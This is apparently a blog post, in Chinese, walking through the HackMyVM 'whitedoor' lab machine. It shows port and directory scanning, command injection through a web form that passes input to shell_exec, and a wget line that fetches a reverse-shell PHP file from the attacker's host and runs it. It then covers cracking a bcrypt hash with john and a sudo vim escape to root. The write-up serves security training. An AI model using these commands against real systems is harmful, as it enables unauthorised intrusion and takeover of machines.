{"id":485,"date":"2024-04-02T12:45:14","date_gmt":"2024-04-02T04:45:14","guid":{"rendered":"http:\/\/162.14.82.114\/?p=485"},"modified":"2024-04-02T12:45:14","modified_gmt":"2024-04-02T04:45:14","slug":"hmv-_-whitedoor","status":"publish","type":"post","link":"http:\/\/162.14.82.114\/index.php\/485\/04\/02\/2024\/","title":{"rendered":"hmv[-_-]whitedoor"},"content":{"rendered":"

whitedoor<\/h1>\n

\"image-20240402114934820\"<\/div><\/p>\n

\u4fe1\u606f\u641c\u96c6<\/h2>\n

\u7aef\u53e3\u626b\u63cf<\/h3>\n
nmap -sCV -p 1-65535 10.0.2.17<\/code><\/pre>\n
PORT   STATE SERVICE VERSION\n21\/tcp open  ftp     vsftpd 3.0.3\n| ftp-syst: \n|   STAT: \n| FTP server status:\n|      Connected to ::ffff:10.0.2.4\n|      Logged in as ftp\n|      TYPE: ASCII\n|      No session bandwidth limit\n|      Session timeout in seconds is 300\n|      Control connection is plain text\n|      Data connections will be plain text\n|      At session startup, client count was 1\n|      vsFTPd 3.0.3 - secure, fast, stable\n|_End of status\n| ftp-anon: Anonymous FTP login allowed (FTP code 230)\n|_-rw-r--r--    1 0        0              13 Nov 16 23:40 README.txt\n22\/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u1 (protocol 2.0)\n| ssh-hostkey: \n|   256 3d:85:a2:89:a9:c5:45:d0:1f:ed:3f:45:87:9d:71:a6 (ECDSA)\n|_  256 07:e8:c5:28:5e:84:a7:b6:bb:d5:1d:2f:d8:92:6b:a6 (ED25519)\n80\/tcp open  http    Apache httpd 2.4.57 ((Debian))\n|_http-title: Home\n|_http-server-header: Apache\/2.4.57 (Debian)\nService Info: OSs: Unix, Linux; CPE: cpe:\/o:linux:linux_kernel<\/code><\/pre>\n
\u5b58\u5728\u9ed8\u8ba4\u7528\u6237\u540d\u767b\u5f55\u7684\uff0c\u563f\u563f<\/p>\n
\u76ee\u5f55\u626b\u63cf<\/h3>\n
gobuster dir -u http:\/\/10.0.2.17\/ -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt -x php,txt,html.png,jpg,zip<\/code><\/pre>\n
\/.html.png            (Status: 403) [Size: 274]\n\/index.php            (Status: 200) [Size: 416]\n\/.php                 (Status: 403) [Size: 274]\n\/.php                 (Status: 403) [Size: 274]\n\/.html.png            (Status: 403) [Size: 274]\n\/server-status        (Status: 403) [Size: 274]\nProgress: 1323360 \/ 1323366 (100.00%)<\/code><\/pre>\n
dirsearch -u http:\/\/10.0.2.17<\/code><\/pre>\n
[23:53:54] 403 -  274B  - \/.ht_wsr.txt\n[23:53:54] 403 -  274B  - \/.htaccess.bak1\n[23:53:54] 403 -  274B  - \/.htaccess.sample\n[23:53:54] 403 -  274B  - \/.htaccess.save\n[23:53:54] 403 -  274B  - \/.htaccess_orig\n[23:53:54] 403 -  274B  - \/.htaccess_sc\n[23:53:54] 403 -  274B  - \/.htaccess.orig\n[23:53:54] 403 -  274B  - \/.htaccessOLD\n[23:53:54] 403 -  274B  - \/.htaccess_extra\n[23:53:54] 403 -  274B  - \/.htm\n[23:53:54] 403 -  274B  - \/.htaccessBAK\n[23:53:54] 403 -  274B  - \/.htaccessOLD2\n[23:53:54] 403 -  274B  - \/.htpasswd_test\n[23:53:54] 403 -  274B  - \/.html\n[23:53:54] 403 -  274B  - \/.htpasswds\n[23:53:54] 403 -  274B  - \/.httr-oauth\n[23:53:57] 403 -  274B  - \/.php\n[23:55:05] 403 -  274B  - \/server-status\/\n[23:55:05] 403 -  274B  - \/server-status<\/code><\/pre>\n
wtf!<\/p>\n
\u6f0f\u6d1e\u626b\u63cf<\/h3>\n
nikto -h http:\/\/10.0.2.17<\/code><\/pre>\n
- Nikto v2.5.0\n---------------------------------------------------------------------------\n+ Target IP:          10.0.2.17\n+ Target Hostname:    10.0.2.17\n+ Target Port:        80\n+ Start Time:         2024-04-01 23:57:36 (GMT-4)\n---------------------------------------------------------------------------\n+ Server: Apache\/2.4.57 (Debian)\n+ \/: The anti-clickjacking X-Frame-Options header is not present. See: https:\/\/developer.mozilla.org\/en-US\/docs\/Web\/HTTP\/Headers\/X-Frame-Options\n+ \/: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https:\/\/www.netsparker.com\/web-vulnerability-scanner\/vulnerabilities\/missing-content-type-header\/\n+ No CGI Directories found (use '-C all' to force check all possible dirs)\n+ \/: Web Server returns a valid response with junk HTTP methods which may cause false positives.\n+ 8102 requests: 0 error(s) and 3 item(s) reported on remote host\n+ End Time:           2024-04-01 23:57:56 (GMT-4) (20 seconds)\n---------------------------------------------------------------------------\n+ 1 host(s) tested<\/code><\/pre>\n
\u6f0f\u6d1e\u6316\u6398<\/h2>\n
\u5b9e\u5730\u52d8\u5bdf<\/h3>\n
\"image-20240402115841276\"<\/div><\/p>\n
\uff1f\uff1f\uff1f\uff1f\u5669\u68a6\u6765\u88ad\u662f\u5427\uff0c\u6628\u5929\u665a\u4e0a\u641e\u534a\u5929\u90a3\u4e2aboxing\uff0c\u641e\u4e0d\u6765\uff0c\u6de6\u3002<\/p>\n
ftp\u8fde\u63a5<\/h3>\n
\u4f7f\u7528\u9ed8\u8ba4\u8d26\u53f7\u5bc6\u7801\u8fde\u63a5\uff1a<\/p>\n
\"image-20240402120122192\"<\/div><\/p>\n
\u770b\u4e00\u4e0b\u8fd9\u4e2aREADME.txt<\/code>\uff1a<\/p>\n
cat README.txt \n\u00a1Good luck!<\/code><\/pre>\n
\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002\u3002<\/p>\n
\u7ee7\u7eed\u770b\uff0c\u7f51\u9875\u53ea\u80fd\u4f7f\u7528ls<\/code>\uff1a<\/p>\n
\"image-20240402120310120\"<\/div><\/p>\n
\u5c1d\u8bd5\u62fc\u63a5<\/a>\u4e00\u4e0b\uff1a<\/p>\n
ls | id\n# uid=33(www-data) gid=33(www-data) groups=33(www-data)\nls && whoami\n# blackdoor.webp\n# blackindex.php\n# index.php\n# whitedoor.jpg\n# www-data\nls & whoami\n# www-data\n# blackdoor.webp\n# blackindex.php\n# index.php\n# whitedoor.jpg<\/code><\/pre>\n
\u6240\u4ee5\u8fd9\u79cd\u547d\u4ee4\u6ce8\u5165\u662f\u53ef\u884c\u7684\u3002<\/p>\n
\u547d\u4ee4\u6ce8\u5165\u653b\u51fb<\/h3>\n
# kali1\npython3 -m http.server 8888\n# kali2\npwncat-cs -lp 1234\n# whitedoor\nls | wget http:\/\/10.0.2.4:8888\/revershell.php -O \/tmp\/revershell.php\nls | chmod +x \/tmp\/revershell.php\nls | php \/tmp\/revershell.php<\/code><\/pre>\n
\"image-20240402121722887\"<\/div><\/p>\n
\u63d0\u6743<\/h2>\n
\u4fe1\u606f\u641c\u96c6<\/h3>\n
(remote) www-data@whitedoor:\/$ whoami;id\nwww-data\nuid=33(www-data) gid=33(www-data) groups=33(www-data)\n(remote) www-data@whitedoor:\/$ cat \/etc\/passwd\nroot:x:0:0:root:\/root:\/bin\/bash\ndaemon:x:1:1:daemon:\/usr\/sbin:\/usr\/sbin\/nologin\nbin:x:2:2:bin:\/bin:\/usr\/sbin\/nologin\nsys:x:3:3:sys:\/dev:\/usr\/sbin\/nologin\nsync:x:4:65534:sync:\/bin:\/bin\/sync\ngames:x:5:60:games:\/usr\/games:\/usr\/sbin\/nologin\nman:x:6:12:man:\/var\/cache\/man:\/usr\/sbin\/nologin\nlp:x:7:7:lp:\/var\/spool\/lpd:\/usr\/sbin\/nologin\nmail:x:8:8:mail:\/var\/mail:\/usr\/sbin\/nologin\nnews:x:9:9:news:\/var\/spool\/news:\/usr\/sbin\/nologin\nuucp:x:10:10:uucp:\/var\/spool\/uucp:\/usr\/sbin\/nologin\nproxy:x:13:13:proxy:\/bin:\/usr\/sbin\/nologin\nwww-data:x:33:33:www-data:\/var\/www:\/usr\/sbin\/nologin\nbackup:x:34:34:backup:\/var\/backups:\/usr\/sbin\/nologin\nlist:x:38:38:Mailing List Manager:\/var\/list:\/usr\/sbin\/nologin\nirc:x:39:39:ircd:\/run\/ircd:\/usr\/sbin\/nologin\n_apt:x:42:65534::\/nonexistent:\/usr\/sbin\/nologin\nnobody:x:65534:65534:nobody:\/nonexistent:\/usr\/sbin\/nologin\nsystemd-network:x:998:998:systemd Network Management:\/:\/usr\/sbin\/nologin\nmessagebus:x:100:107::\/nonexistent:\/usr\/sbin\/nologin\nsshd:x:101:65534::\/run\/sshd:\/usr\/sbin\/nologin\nftp:x:102:110:ftp daemon,,,:\/srv\/ftp:\/usr\/sbin\/nologin\nwhiteshell:x:1001:1001::\/home\/whiteshell:\/bin\/bash\nGonzalo:x:1002:1002::\/home\/Gonzalo:\/bin\/bash\npolkitd:x:997:997:polkit:\/nonexistent:\/usr\/sbin\/nologin\n(remote) www-data@whitedoor:\/$ ls -la   \ntotal 68\ndrwxr-xr-x  18 root root  4096 Nov 15 23:05 .\ndrwxr-xr-x  18 root root  4096 Nov 15 23:05 ..\nlrwxrwxrwx   1 root root     7 Nov 15 23:05 bin -> usr\/bin\ndrwxr-xr-x   3 root root  4096 Nov 15 23:11 boot\ndrwxr-xr-x  17 root root  3320 Apr  2 05:48 dev\ndrwxr-xr-x  69 root root  4096 Apr  2 06:15 etc\ndrwxr-xr-x   4 root root  4096 Nov 16 16:58 home\nlrwxrwxrwx   1 root root    30 Nov 15 23:05 initrd.img -> boot\/initrd.img-6.1.0-13-amd64\nlrwxrwxrwx   1 root root    30 Nov 15 23:05 initrd.img.old -> boot\/initrd.img-6.1.0-13-amd64\nlrwxrwxrwx   1 root root     7 Nov 15 23:05 lib -> usr\/lib\nlrwxrwxrwx   1 root root     9 Nov 15 23:05 lib32 -> usr\/lib32\nlrwxrwxrwx   1 root root     9 Nov 15 23:05 lib64 -> usr\/lib64\nlrwxrwxrwx   1 root root    10 Nov 15 23:05 libx32 -> usr\/libx32\ndrwx------   2 root root 16384 Nov 15 23:05 lost+found\ndrwxr-xr-x   3 root root  4096 Nov 15 23:05 media\ndrwxr-xr-x   2 root root  4096 Nov 15 23:05 mnt\ndrwxr-xr-x   2 root root  4096 Nov 15 23:05 opt\ndr-xr-xr-x 141 root root     0 Apr  2 05:48 proc\ndrwx------   4 root root  4096 Nov 17 19:26 root\ndrwxr-xr-x  19 root root   540 Apr  2 05:48 run\nlrwxrwxrwx   1 root root     8 Nov 15 23:05 sbin -> usr\/sbin\ndrwxr-xr-x   3 root root  4096 Nov 16 00:10 srv\ndr-xr-xr-x  13 root root     0 Apr  2 05:48 sys\ndrwxrwxrwt   2 root root  4096 Apr  2 06:16 tmp\ndrwxr-xr-x  14 root root  4096 Nov 15 23:05 usr\ndrwxr-xr-x  12 root root  4096 Nov 16 00:09 var\nlrwxrwxrwx   1 root root    27 Nov 15 23:05 vmlinuz -> boot\/vmlinuz-6.1.0-13-amd64\nlrwxrwxrwx   1 root root    27 Nov 15 23:05 vmlinuz.old -> boot\/vmlinuz-6.1.0-13-amd64\n(remote) www-data@whitedoor:\/$ cd \/var\/www\/html\n(remote) www-data@whitedoor:\/var\/www\/html$ ls -la\ntotal 92\ndrwxr-xr-x 2 root root  4096 Nov 16 20:44 .\ndrwxr-xr-x 3 root root  4096 Nov 16 00:09 ..\n-rw-r--r-- 1 root root  4040 Nov 16 12:47 blackdoor.webp\n-rw-r--r-- 1 root root  1405 Nov 16 20:44 blackindex.php\n-rw-r--r-- 1 root root  1174 Nov 16 12:50 index.php\n-rw-r--r-- 1 root root 72239 Nov 16 10:40 whitedoor.jpg\n(remote) www-data@whitedoor:\/var\/www\/html$ cat blackindex.php\n<!DOCTYPE html>\n<html lang="en">\n<head>\n    <meta charset="UTF-8">\n    <title><\/title>\n<\/head>\n<body>\n    <h1><\/h1>\n\n    <?php\n    $ruta_imagen = 'blackdoor.webp';\n    ?>\n\n    <img src="<?php echo $ruta_imagen; ?>" alt="">\n\n    <!-- Formulario de Comandos -->\n    <form action="blackindex.php" method="post">\n        <label for="entrada"><\/label>\n        <textarea name="entrada" rows="4" cols="50" required><\/textarea>\n        <br>\n        <button type="submit" name="submit">Send<\/button>\n    <\/form>\n\n    <?php\n    if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_POST["submit"])) {\n        $entrada = $_POST["entrada"];\n\n        \/\/ Verificar si el comando incluye "ls" y se intenta listar \/home\/Gonzalo o \/home\/Gonzalo\/Desktop\n        if (preg_match("\/\\b(ls|dir)\\s+\\\/home\\\/Gonzalo(\\b|\\\/Desktop\\b)\/i", $entrada)) {\n            echo "<p>Permission denied to execute ls on \/home\/Gonzalo<\/p>";\n        } else {\n            \/\/ Mostrar la entrada en la tabla de comandos\n            echo "<h2><\/h2>";\n            echo "<table border='1'>";\n            echo "<tr><td><pre>" . htmlspecialchars($entrada) . "<\/pre><\/td><\/tr>";\n            echo "<\/table>";\n\n            \/\/ Ejecutar la entrada como comandos y mostrar el resultado\n            echo "<h2><\/h2>";\n            $output = shell_exec($entrada);\n            echo "<pre>" . htmlspecialchars($output) . "<\/pre>";\n        }\n    }\n    ?>\n<\/body>\n<\/html>\n(remote) www-data@whitedoor:\/var\/www\/html$ cd ..\n(remote) www-data@whitedoor:\/var\/www$ ls -la\ntotal 12\ndrwxr-xr-x  3 root root 4096 Nov 16 00:09 .\ndrwxr-xr-x 12 root root 4096 Nov 16 00:09 ..\ndrwxr-xr-x  2 root root 4096 Nov 16 20:44 html\n(remote) www-data@whitedoor:\/var\/www$ cd ..;ls -la\ntotal 48\ndrwxr-xr-x 12 root root  4096 Nov 16 00:09 .\ndrwxr-xr-x 18 root root  4096 Nov 15 23:05 ..\ndrwxr-xr-x  2 root root  4096 Nov 17 18:22 backups\ndrwxr-xr-x 10 root root  4096 Nov 16 00:09 cache\ndrwxr-xr-x 25 root root  4096 Nov 16 21:06 lib\ndrwxrwsr-x  2 root staff 4096 Sep 29  2023 local\nlrwxrwxrwx  1 root root     9 Nov 15 23:05 lock -> \/run\/lock\ndrwxr-xr-x  8 root root  4096 Apr  2 05:48 log\ndrwxrwsr-x  2 root mail  4096 Nov 15 23:05 mail\ndrwxr-xr-x  2 root root  4096 Nov 15 23:05 opt\nlrwxrwxrwx  1 root root     4 Nov 15 23:05 run -> \/run\ndrwxr-xr-x  3 root root  4096 Nov 15 23:05 spool\ndrwxrwxrwt  2 root root  4096 Apr  2 05:48 tmp\ndrwxr-xr-x  3 root root  4096 Nov 16 00:09 www\n(remote) www-data@whitedoor:\/var$ cd \/home\n(remote) www-data@whitedoor:\/home$ ls\nGonzalo  whiteshell\n(remote) www-data@whitedoor:\/home$ cd Gonzalo\nbash: cd: Gonzalo: Permission denied\n(remote) www-data@whitedoor:\/home$ cd whiteshell\n(remote) www-data@whitedoor:\/home\/whiteshell$ ls -la\ntotal 48\ndrwxr-xr-x 9 whiteshell whiteshell 4096 Nov 17 18:47 .\ndrwxr-xr-x 4 root       root       4096 Nov 16 16:58 ..\nlrwxrwxrwx 1 root       root          9 Nov 16 00:43 .bash_history -> \/dev\/null\n-rw-r--r-- 1 whiteshell whiteshell  220 Apr 23  2023 .bash_logout\n-rw-r--r-- 1 whiteshell whiteshell 3526 Apr 23  2023 .bashrc\ndrwxr-xr-x 3 whiteshell whiteshell 4096 Nov 16 17:05 .local\n-rw-r--r-- 1 whiteshell whiteshell  807 Apr 23  2023 .profile\ndrwxr-xr-x 2 whiteshell whiteshell 4096 Nov 16 18:43 Desktop\ndrwxr-xr-x 2 whiteshell whiteshell 4096 Nov 16 17:08 Documents\ndrwxr-xr-x 2 whiteshell whiteshell 4096 Nov 16 17:08 Downloads\ndrwxr-xr-x 2 whiteshell whiteshell 4096 Nov 16 17:08 Music\ndrwxr-xr-x 2 whiteshell whiteshell 4096 Nov 16 17:08 Pictures\ndrwxr-xr-x 2 whiteshell whiteshell 4096 Nov 16 17:08 Public\n(remote) www-data@whitedoor:\/home\/whiteshell$ cd Desktop\/\n(remote) www-data@whitedoor:\/home\/whiteshell\/Desktop$ ls -la\ntotal 12\ndrwxr-xr-x 2 whiteshell whiteshell 4096 Nov 16 18:43 .\ndrwxr-xr-x 9 whiteshell whiteshell 4096 Nov 17 18:47 ..\n-r--r--r-- 1 whiteshell whiteshell   56 Nov 16 09:07 .my_secret_password.txt\n(remote) www-data@whitedoor:\/home\/whiteshell\/Desktop$ cat .my_secret_password.txt \nwhiteshell:VkdneGMwbHpWR2d6VURSelUzZFBja1JpYkdGak5Rbz0K<\/code><\/pre>\n
\u627e\u5230\u4e24\u4e2a\u7528\u6237whiteshell<\/code>\u548cGonzalo<\/code><\/p>\n
\u627e\u5230\u5bc6\u7801\uff0c\u5207\u6362\u7528\u6237\u3002<\/p>\n
\u5207\u6362whitedoor\u7528\u6237<\/h3>\n
whiteshell \nVkdneGMwbHpWR2d6VURSelUzZFBja1JpYkdGak5Rbz0K<\/code><\/pre>\n
\u6b63\u5e38\u8fde\u6ca1\u8fde\u4e0a\uff0c\u611f\u89c9\u52a0\u5bc6\u4e86\uff0cbase64<\/code>\u89e3\u5bc6\u4e00\u4e0b<\/p>\n
echo 'VkdneGMwbHpWR2d6VURSelUzZFBja1JpYkdGak5Rbz0K' | base64 -d\nVGgxc0lzVGgzUDRzU3dPckRibGFjNQo=\necho 'VkdneGMwbHpWR2d6VURSelUzZFBja1JpYkdGak5Rbz0K' | base64 -d | base64 -d\nTh1sIsTh3P4sSwOrDblac5<\/code><\/pre>\n
\"image-20240402123215917\"<\/div><\/p>\n
\u4fe1\u606f\u641c\u96c6<\/h3>\n
whiteshell@whitedoor:~$ whoami;id\nwhiteshell\nuid=1001(whiteshell) gid=1001(whiteshell) groups=1001(whiteshell)\nwhiteshell@whitedoor:~$ cat \/etc\/cron*\ncat: \/etc\/cron.d: Is a directory\ncat: \/etc\/cron.daily: Is a directory\ncat: \/etc\/cron.hourly: Is a directory\ncat: \/etc\/cron.monthly: Is a directory\n# \/etc\/crontab: system-wide crontab\n# Unlike any other crontab you don't have to run the `crontab'\n# command to install the new version when you edit this file\n# and files in \/etc\/cron.d. These files also have username fields,\n# that none of the other crontabs do.\n\nSHELL=\/bin\/sh\nPATH=\/usr\/local\/sbin:\/usr\/local\/bin:\/sbin:\/bin:\/usr\/sbin:\/usr\/bin\n\n# Example of job definition:\n# .---------------- minute (0 - 59)\n# |  .------------- hour (0 - 23)\n# |  |  .---------- day of month (1 - 31)\n# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...\n# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat\n# |  |  |  |  |\n# *  *  *  *  * user-name command to be executed\n17 *    * * *   root    cd \/ && run-parts --report \/etc\/cron.hourly\n25 6    * * *   root    test -x \/usr\/sbin\/anacron || { cd \/ && run-parts --report \/etc\/cron.daily; }\n47 6    * * 7   root    test -x \/usr\/sbin\/anacron || { cd \/ && run-parts --report \/etc\/cron.weekly; }\n52 6    1 * *   root    test -x \/usr\/sbin\/anacron || { cd \/ && run-parts --report \/etc\/cron.monthly; }\n#\ncat: \/etc\/cron.weekly: Is a directory\ncat: \/etc\/cron.yearly: Is a directory\nwhiteshell@whitedoor:~$ ls -la\ntotal 48\ndrwxr-xr-x 9 whiteshell whiteshell 4096 Nov 17 18:47 .\ndrwxr-xr-x 4 root       root       4096 Nov 16 16:58 ..\nlrwxrwxrwx 1 root       root          9 Nov 16 00:43 .bash_history -> \/dev\/null\n-rw-r--r-- 1 whiteshell whiteshell  220 Apr 23  2023 .bash_logout\n-rw-r--r-- 1 whiteshell whiteshell 3526 Apr 23  2023 .bashrc\ndrwxr-xr-x 2 whiteshell whiteshell 4096 Nov 16 18:43 Desktop\ndrwxr-xr-x 2 whiteshell whiteshell 4096 Nov 16 17:08 Documents\ndrwxr-xr-x 2 whiteshell whiteshell 4096 Nov 16 17:08 Downloads\ndrwxr-xr-x 3 whiteshell whiteshell 4096 Nov 16 17:05 .local\ndrwxr-xr-x 2 whiteshell whiteshell 4096 Nov 16 17:08 Music\ndrwxr-xr-x 2 whiteshell whiteshell 4096 Nov 16 17:08 Pictures\n-rw-r--r-- 1 whiteshell whiteshell  807 Apr 23  2023 .profile\ndrwxr-xr-x 2 whiteshell whiteshell 4096 Nov 16 17:08 Public\nwhiteshell@whitedoor:~$ cd .local\nwhiteshell@whitedoor:~\/.local$ ls\nshare\nwhiteshell@whitedoor:~\/.local$ cd share\nwhiteshell@whitedoor:~\/.local\/share$ ls\nnano\nwhiteshell@whitedoor:~\/.local\/share$ cd nano\nwhiteshell@whitedoor:~\/.local\/share\/nano$ ls\nwhiteshell@whitedoor:~\/.local\/share\/nano$ ls -la\ntotal 8\ndrwx------ 2 whiteshell whiteshell 4096 Nov 16 17:05 .\ndrwx------ 3 whiteshell whiteshell 4096 Nov 16 17:05 ..\nwhiteshell@whitedoor:~\/.local\/share\/nano$ cd ..\/..\/..\/\nwhiteshell@whitedoor:~$ sudo -l\n[sudo] password for whiteshell: \nSorry, user whiteshell may not run sudo on whitedoor.\nwhiteshell@whitedoor:~$ cd ..\/\nwhiteshell@whitedoor:\/home$ ls\nGonzalo  whiteshell\nwhiteshell@whitedoor:\/home$ cd Gonzalo\/\nwhiteshell@whitedoor:\/home\/Gonzalo$ ls -la\ntotal 52\ndrwxr-x--- 9 Gonzalo whiteshell 4096 Nov 17 18:11 .\ndrwxr-xr-x 4 root    root       4096 Nov 16 16:58 ..\n-rw------- 1 Gonzalo Gonzalo     718 Nov 17 20:06 .bash_history\n-rw-r--r-- 1 Gonzalo Gonzalo     220 Apr 23  2023 .bash_logout\n-rw-r--r-- 1 Gonzalo Gonzalo    3526 Apr 23  2023 .bashrc\ndrwxr-xr-x 2 root    Gonzalo    4096 Nov 17 19:26 Desktop\ndrwxr-xr-x 2 root    Gonzalo    4096 Nov 16 21:04 Documents\ndrwxr-xr-x 2 root    Gonzalo    4096 Nov 17 18:09 Downloads\ndrwxr-xr-x 3 Gonzalo Gonzalo    4096 Nov 16 17:03 .local\ndrwxr-xr-x 2 root    Gonzalo    4096 Nov 17 18:11 Music\ndrwxr-xr-x 2 root    Gonzalo    4096 Nov 17 18:07 Pictures\n-rw-r--r-- 1 Gonzalo Gonzalo     807 Apr 23  2023 .profile\ndrwxr-xr-x 2 root    Gonzalo    4096 Nov 17 18:09 Public\nwhiteshell@whitedoor:\/home\/Gonzalo$ cd Desktop\/\nwhiteshell@whitedoor:\/home\/Gonzalo\/Desktop$ ls -la\ntotal 16\ndrwxr-xr-x 2 root    Gonzalo    4096 Nov 17 19:26 .\ndrwxr-x--- 9 Gonzalo whiteshell 4096 Nov 17 18:11 ..\n-r--r--r-- 1 root    root         61 Nov 16 20:49 .my_secret_hash\n-rw-r----- 1 root    Gonzalo      20 Nov 16 21:54 user.txt\nwhiteshell@whitedoor:\/home\/Gonzalo\/Desktop$ cat user.txt \ncat: user.txt: Permission denied\nwhiteshell@whitedoor:\/home\/Gonzalo\/Desktop$ cat .my_secret_hash \n$2y$10$CqtC7h0oOG5sir4oUFxkGuKzS561UFos6F7hL31Waj\/Y48ZlAbQF6<\/code><\/pre>\n
\u627e\u5230\u7b2c\u4e8c\u4e2a\u5bc6\u94a5\u3002<\/p>\n
\u767b\u5f55Gonzalo<\/h3>\n
\u7206\u7834hash<\/h4>\n
echo '$2y$10$CqtC7h0oOG5sir4oUFxkGuKzS561UFos6F7hL31Waj\/Y48ZlAbQF6' > pass_hash\njohn pass_hash -w \/usr\/share\/wordlists\/rockyou.txt 2>\/dev\/null<\/code><\/pre>\n
Loaded 1 password hash (bcrypt [Blowfish 32\/64 X3])\nCost 1 (iteration count) is 1024 for all loaded hashes\nqwertyuiop       (?)     <\/code><\/pre>\n
\u7206\u7834\u51fa\u6765\u4e86\u5bc6\u7801\uff0c\u767b\u5f55\u4e00\u4e0b\uff1a<\/p>\n
ssh Gonzalo@10.0.2.17\nqwertyuiop<\/code><\/pre>\n
\"image-20240402124144983\"<\/div><\/p>\n
vim\u63d0\u6743<\/h3>\n
\u4fe1\u606f\u641c\u96c6<\/h4>\n
Gonzalo@whitedoor:~$ sudo -l\nMatching Defaults entries for Gonzalo on whitedoor:\n    env_reset, mail_badpass, secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin, use_pty\n\nUser Gonzalo may run the following commands on whitedoor:\n    (ALL : ALL) NOPASSWD: \/usr\/bin\/vim<\/code><\/pre>\n
\u76f4\u63a5\u63d0\u6743\uff1a<\/p>\n
sudo vim config help\n:\/bin\/bash<\/code><\/pre>\n
\u8fd9\u53ef\u592a\u719f\u4e86\uff0c\u54c8\u54c8\u54c8<\/p>\n
\"image-20240402124342196\"<\/div><\/p>\n
\u62ff\u5230flag\uff01<\/p>\n
Y0uG3tTh3Us3RFl4g!!\nY0uAr3Th3B3sTy0Ug3Tr0oT!!<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"
whitedoor \u4fe1\u606f\u641c\u96c6 \u7aef\u53e3\u626b\u63cf nmap -sCV -p 1-65535 10.0.2.17 PORT […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,24,18],"tags":[],"class_list":["post-485","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-penetration-test","category-web"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/485","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=485"}],"version-history":[{"count":1,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/485\/revisions"}],"predecessor-version":[{"id":486,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/485\/revisions\/486"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=485"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=485"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=485"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}